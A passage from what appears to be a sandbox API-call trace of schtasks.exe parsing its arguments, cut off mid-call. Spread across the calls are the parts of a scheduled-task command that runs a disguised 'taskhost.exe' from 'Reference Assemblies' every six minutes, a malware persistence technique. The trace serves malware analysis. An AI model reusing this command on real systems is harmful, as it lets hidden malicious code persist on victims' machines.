_Buffer="|sc|") returned 4 [0143.555] lstrlenW (lpString="|?|") returned 3 [0143.555] lstrlenW (lpString="|sc|") returned 4 [0143.555] SetLastError (dwErrCode=0x490) [0143.555] lstrlenW (lpString="s") returned 1 [0143.555] lstrlenW (lpString="s") returned 1 [0143.555] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] lstrlenW (lpString="sc") returned 2 [0143.555] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.555] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.555] lstrlenW (lpString="|s|") returned 3 [0143.555] lstrlenW (lpString="|sc|") returned 4 [0143.555] SetLastError (dwErrCode=0x490) [0143.555] lstrlenW (lpString="u") returned 1 [0143.555] lstrlenW (lpString="u") returned 1 [0143.555] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] lstrlenW (lpString="sc") returned 2 [0143.555] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.555] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.555] lstrlenW (lpString="|u|") returned 3 [0143.556] lstrlenW (lpString="|sc|") returned 4 [0143.556] SetLastError (dwErrCode=0x490) [0143.556] lstrlenW (lpString="p") returned 1 [0143.556] lstrlenW (lpString="p") returned 1 [0143.556] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.556] lstrlenW (lpString="sc") returned 2 [0143.556] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.556] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.556] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.556] lstrlenW (lpString="|p|") returned 3 [0143.556] lstrlenW (lpString="|sc|") returned 4 [0143.556] SetLastError (dwErrCode=0x490) [0143.556] lstrlenW (lpString="ru") returned 2 [0143.556] lstrlenW (lpString="ru") returned 2 [0143.556] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.556] lstrlenW (lpString="sc") returned 2 [0143.556] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.556] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.556] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.556] lstrlenW (lpString="|ru|") returned 4 [0143.556] lstrlenW (lpString="|sc|") returned 4 [0143.556] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0143.556] SetLastError (dwErrCode=0x490) [0143.556] lstrlenW (lpString="rp") returned 2 [0143.556] lstrlenW (lpString="rp") returned 2 [0143.556] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.557] lstrlenW (lpString="sc") returned 2 [0143.557] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.557] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.557] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.557] lstrlenW (lpString="|rp|") returned 4 [0143.557] lstrlenW (lpString="|sc|") returned 4 [0143.557] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0143.557] SetLastError (dwErrCode=0x490) [0143.557] lstrlenW (lpString="sc") returned 2 [0143.557] lstrlenW (lpString="sc") returned 2 [0143.557] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.557] lstrlenW (lpString="sc") returned 2 [0143.557] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.557] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.557] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.557] lstrlenW (lpString="|sc|") returned 4 [0143.557] lstrlenW (lpString="|sc|") returned 4 [0143.557] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0143.557] SetLastError (dwErrCode=0x0) [0143.557] SetLastError (dwErrCode=0x0) [0143.557] lstrlenW (lpString="MINUTE") returned 6 [0143.557] lstrlenW (lpString="-/") returned 2 [0143.557] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0143.557] SetLastError (dwErrCode=0x490) [0143.557] SetLastError (dwErrCode=0x490) [0143.557] SetLastError (dwErrCode=0x0) [0143.558] lstrlenW (lpString="MINUTE") returned 6 [0143.558] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0143.558] SetLastError (dwErrCode=0x490) [0143.558] SetLastError (dwErrCode=0x0) [0143.558] GetProcessHeap () returned 0x3c0000 [0143.558] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dd560 [0143.558] _memicmp (_Buf1=0x3dd560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.558] lstrlenW (lpString="MINUTE") returned 6 [0143.558] GetProcessHeap () returned 0x3c0000 [0143.558] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dd580 [0143.558] lstrlenW (lpString="MINUTE") returned 6 [0143.558] lstrlenW (lpString=" \x09") returned 2 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0143.558] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0143.558] GetLastError () returned 0x0 [0143.558] lstrlenW (lpString="MINUTE") returned 6 [0143.558] lstrlenW (lpString="MINUTE") returned 6 [0143.558] SetLastError (dwErrCode=0x0) [0143.558] SetLastError (dwErrCode=0x0) [0143.558] lstrlenW (lpString="/mo") returned 3 [0143.558] lstrlenW (lpString="-/") returned 2 [0143.558] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.558] lstrlenW (lpString="create") returned 6 [0143.558] lstrlenW (lpString="create") returned 6 [0143.558] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.561] lstrlenW (lpString="mo") returned 2 [0143.561] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.561] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.561] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.561] lstrlenW (lpString="|create|") returned 8 [0143.561] lstrlenW (lpString="|mo|") returned 4 [0143.561] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0143.561] SetLastError (dwErrCode=0x490) [0143.561] lstrlenW (lpString="?") returned 1 [0143.561] lstrlenW (lpString="?") returned 1 [0143.561] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.561] lstrlenW (lpString="mo") returned 2 [0143.561] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.561] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.561] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.562] lstrlenW (lpString="|?|") returned 3 [0143.562] lstrlenW (lpString="|mo|") returned 4 [0143.562] SetLastError (dwErrCode=0x490) [0143.562] lstrlenW (lpString="s") returned 1 [0143.562] lstrlenW (lpString="s") returned 1 [0143.562] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.562] lstrlenW (lpString="mo") returned 2 [0143.562] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.562] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.562] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.562] lstrlenW (lpString="|s|") returned 3 [0143.562] lstrlenW (lpString="|mo|") returned 4 [0143.562] SetLastError (dwErrCode=0x490) [0143.562] lstrlenW (lpString="u") returned 1 [0143.562] lstrlenW (lpString="u") returned 1 [0143.562] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.562] lstrlenW (lpString="mo") returned 2 [0143.562] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.562] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.562] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.562] lstrlenW (lpString="|u|") returned 3 [0143.564] lstrlenW (lpString="|mo|") returned 4 [0143.564] SetLastError (dwErrCode=0x490) [0143.564] lstrlenW (lpString="p") returned 1 [0143.564] lstrlenW (lpString="p") returned 1 [0143.564] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.564] lstrlenW (lpString="mo") returned 2 [0143.564] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.564] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.564] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.564] lstrlenW (lpString="|p|") returned 3 [0143.564] lstrlenW (lpString="|mo|") returned 4 [0143.564] SetLastError (dwErrCode=0x490) [0143.564] lstrlenW (lpString="ru") returned 2 [0143.564] lstrlenW (lpString="ru") returned 2 [0143.564] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.564] lstrlenW (lpString="mo") returned 2 [0143.564] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.564] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.564] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.565] lstrlenW (lpString="|ru|") returned 4 [0143.565] lstrlenW (lpString="|mo|") returned 4 [0143.565] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0143.565] SetLastError (dwErrCode=0x490) [0143.565] lstrlenW (lpString="rp") returned 2 [0143.565] lstrlenW (lpString="rp") returned 2 [0143.566] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.566] lstrlenW (lpString="mo") returned 2 [0143.566] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.566] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.566] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.566] lstrlenW (lpString="|rp|") returned 4 [0143.566] lstrlenW (lpString="|mo|") returned 4 [0143.566] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0143.566] SetLastError (dwErrCode=0x490) [0143.566] lstrlenW (lpString="sc") returned 2 [0143.566] lstrlenW (lpString="sc") returned 2 [0143.566] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.566] lstrlenW (lpString="mo") returned 2 [0143.566] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.566] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.566] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.566] lstrlenW (lpString="|sc|") returned 4 [0143.566] lstrlenW (lpString="|mo|") returned 4 [0143.566] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0143.566] SetLastError (dwErrCode=0x490) [0143.567] lstrlenW (lpString="mo") returned 2 [0143.567] lstrlenW (lpString="mo") returned 2 [0143.567] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.567] lstrlenW (lpString="mo") returned 2 [0143.567] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.567] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.567] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.567] lstrlenW (lpString="|mo|") returned 4 [0143.567] lstrlenW (lpString="|mo|") returned 4 [0143.567] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0143.567] SetLastError (dwErrCode=0x0) [0143.567] SetLastError (dwErrCode=0x0) [0143.567] lstrlenW (lpString="6") returned 1 [0143.567] SetLastError (dwErrCode=0x490) [0143.567] SetLastError (dwErrCode=0x0) [0143.567] lstrlenW (lpString="6") returned 1 [0143.567] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0143.567] SetLastError (dwErrCode=0x490) [0143.567] SetLastError (dwErrCode=0x0) [0143.567] _memicmp (_Buf1=0x3dd560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.567] lstrlenW (lpString="6") returned 1 [0143.567] lstrlenW (lpString="6") returned 1 [0143.567] lstrlenW (lpString=" \x09") returned 2 [0143.567] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0143.567] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0143.567] GetLastError () returned 0x0 [0143.567] lstrlenW (lpString="6") returned 1 [0143.567] lstrlenW (lpString="6") returned 1 [0143.568] GetProcessHeap () returned 0x3c0000 [0143.568] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3db9d0 [0143.568] SetLastError (dwErrCode=0x0) [0143.568] SetLastError (dwErrCode=0x0) [0143.568] lstrlenW (lpString="/tr") returned 3 [0143.568] lstrlenW (lpString="-/") returned 2 [0143.568] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.568] lstrlenW (lpString="create") returned 6 [0143.568] lstrlenW (lpString="create") returned 6 [0143.568] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.568] lstrlenW (lpString="tr") returned 2 [0143.568] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.568] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.568] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.568] lstrlenW (lpString="|create|") returned 8 [0143.568] lstrlenW (lpString="|tr|") returned 4 [0143.568] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0143.568] SetLastError (dwErrCode=0x490) [0143.568] lstrlenW (lpString="?") returned 1 [0143.568] lstrlenW (lpString="?") returned 1 [0143.568] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.568] lstrlenW (lpString="tr") returned 2 [0143.568] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.568] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.568] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.569] lstrlenW (lpString="|?|") returned 3 [0143.569] lstrlenW (lpString="|tr|") returned 4 [0143.569] SetLastError (dwErrCode=0x490) [0143.569] lstrlenW (lpString="s") returned 1 [0143.569] lstrlenW (lpString="s") returned 1 [0143.569] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.569] lstrlenW (lpString="tr") returned 2 [0143.569] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.569] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.569] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.569] lstrlenW (lpString="|s|") returned 3 [0143.569] lstrlenW (lpString="|tr|") returned 4 [0143.569] SetLastError (dwErrCode=0x490) [0143.569] lstrlenW (lpString="u") returned 1 [0143.569] lstrlenW (lpString="u") returned 1 [0143.569] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.569] lstrlenW (lpString="tr") returned 2 [0143.569] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.569] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.569] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.569] lstrlenW (lpString="|u|") returned 3 [0143.569] lstrlenW (lpString="|tr|") returned 4 [0143.569] SetLastError (dwErrCode=0x490) [0143.569] lstrlenW (lpString="p") returned 1 [0143.569] lstrlenW (lpString="p") returned 1 [0143.569] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.569] lstrlenW (lpString="tr") returned 2 [0143.570] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.570] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.570] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.570] lstrlenW (lpString="|p|") returned 3 [0143.570] lstrlenW (lpString="|tr|") returned 4 [0143.570] SetLastError (dwErrCode=0x490) [0143.570] lstrlenW (lpString="ru") returned 2 [0143.570] lstrlenW (lpString="ru") returned 2 [0143.570] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.570] lstrlenW (lpString="tr") returned 2 [0143.570] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.570] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.570] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.570] lstrlenW (lpString="|ru|") returned 4 [0143.570] lstrlenW (lpString="|tr|") returned 4 [0143.570] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0143.570] SetLastError (dwErrCode=0x490) [0143.570] lstrlenW (lpString="rp") returned 2 [0143.570] lstrlenW (lpString="rp") returned 2 [0143.570] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.570] lstrlenW (lpString="tr") returned 2 [0143.570] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.570] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.570] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.570] lstrlenW (lpString="|rp|") returned 4 [0143.570] lstrlenW (lpString="|tr|") returned 4 [0143.571] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0143.571] SetLastError (dwErrCode=0x490) [0143.571] lstrlenW (lpString="sc") returned 2 [0143.571] lstrlenW (lpString="sc") returned 2 [0143.571] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.571] lstrlenW (lpString="tr") returned 2 [0143.571] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.572] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.572] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.573] lstrlenW (lpString="|sc|") returned 4 [0143.573] lstrlenW (lpString="|tr|") returned 4 [0143.573] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0143.573] SetLastError (dwErrCode=0x490) [0143.573] lstrlenW (lpString="mo") returned 2 [0143.573] lstrlenW (lpString="mo") returned 2 [0143.573] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.573] lstrlenW (lpString="tr") returned 2 [0143.573] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.574] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.574] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.574] lstrlenW (lpString="|mo|") returned 4 [0143.574] lstrlenW (lpString="|tr|") returned 4 [0143.574] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0143.574] SetLastError (dwErrCode=0x490) [0143.574] lstrlenW (lpString="d") returned 1 [0143.574] lstrlenW (lpString="d") returned 1 [0143.574] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.574] lstrlenW (lpString="tr") returned 2 [0143.574] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.574] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|d|") returned 3 [0143.574] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.574] lstrlenW (lpString="|d|") returned 3 [0143.574] lstrlenW (lpString="|tr|") returned 4 [0143.574] SetLastError (dwErrCode=0x490) [0143.574] lstrlenW (lpString="m") returned 1 [0143.574] lstrlenW (lpString="m") returned 1 [0143.574] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.574] lstrlenW (lpString="tr") returned 2 [0143.574] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.574] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|m|") returned 3 [0143.574] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.574] lstrlenW (lpString="|m|") returned 3 [0143.575] lstrlenW (lpString="|tr|") returned 4 [0143.575] SetLastError (dwErrCode=0x490) [0143.575] lstrlenW (lpString="i") returned 1 [0143.575] lstrlenW (lpString="i") returned 1 [0143.575] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.575] lstrlenW (lpString="tr") returned 2 [0143.575] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.575] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|i|") returned 3 [0143.575] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.575] lstrlenW (lpString="|i|") returned 3 [0143.575] lstrlenW (lpString="|tr|") returned 4 [0143.575] SetLastError (dwErrCode=0x490) [0143.575] lstrlenW (lpString="tn") returned 2 [0143.575] lstrlenW (lpString="tn") returned 2 [0143.575] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.575] lstrlenW (lpString="tr") returned 2 [0143.575] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.575] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.575] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.575] lstrlenW (lpString="|tn|") returned 4 [0143.576] lstrlenW (lpString="|tr|") returned 4 [0143.576] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0143.576] SetLastError (dwErrCode=0x490) [0143.576] lstrlenW (lpString="tr") returned 2 [0143.576] lstrlenW (lpString="tr") returned 2 [0143.576] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.576] lstrlenW (lpString="tr") returned 2 [0143.576] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.576] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.576] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.576] lstrlenW (lpString="|tr|") returned 4 [0143.576] lstrlenW (lpString="|tr|") returned 4 [0143.576] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0143.576] SetLastError (dwErrCode=0x0) [0143.576] SetLastError (dwErrCode=0x0) [0143.576] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.576] lstrlenW (lpString="-/") returned 2 [0143.576] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0143.576] SetLastError (dwErrCode=0x490) [0143.576] SetLastError (dwErrCode=0x490) [0143.576] SetLastError (dwErrCode=0x0) [0143.576] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.576] StrChrIW (lpStart="'C:\\Program 